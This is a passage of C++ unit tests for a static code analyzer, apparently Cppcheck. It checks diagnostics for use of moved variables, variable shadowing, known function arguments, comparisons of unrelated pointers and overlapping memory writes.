V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in 